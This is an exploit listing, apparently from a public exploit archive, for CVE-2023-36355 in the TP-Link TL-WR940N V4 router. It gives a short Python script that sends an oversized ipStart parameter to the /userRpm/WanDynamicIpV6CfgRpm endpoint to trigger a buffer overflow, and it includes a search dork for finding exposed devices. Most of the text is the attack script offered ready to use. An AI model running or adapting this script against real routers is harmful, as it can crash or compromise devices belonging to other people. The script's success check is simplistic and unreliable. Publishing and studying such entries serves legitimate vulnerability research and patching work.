TP-Link TL-WR940N version 4 suffers from a buffer overflow vulnerability.
62f6eb49aaff40c54f96a31ba99f72a2f49bc9ddd44b7739ad50c5bb0a02efb2
# Exploit Title: TP-Link TL-WR940N V4 - Buffer OverFlow
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : hardware
# Dork : /userRpm/WanDynamicIpV6CfgRpm
# Tested on: Windows/Linux
# CVE : CVE-2023-36355
import requests
# Replace the IP address with the router's IP
router_ip = '192.168.0.1'
# Construct the URL with the vulnerable endpoint and parameter
url = f'https://{router_ip}/userRpm/WanDynamicIpV6CfgRpm?ipStart='
# Replace the payload with a crafted payload that triggers the buffer overflow
payload = 'A' * 5000 # Example payload, adjust the length as needed
# Send the GET request with the crafted payload
response = requests.get(url + payload)
# Check the response status code
if response.status_code == 200:
print('Buffer overflow triggered successfully')
else:
print('Buffer overflow not triggered')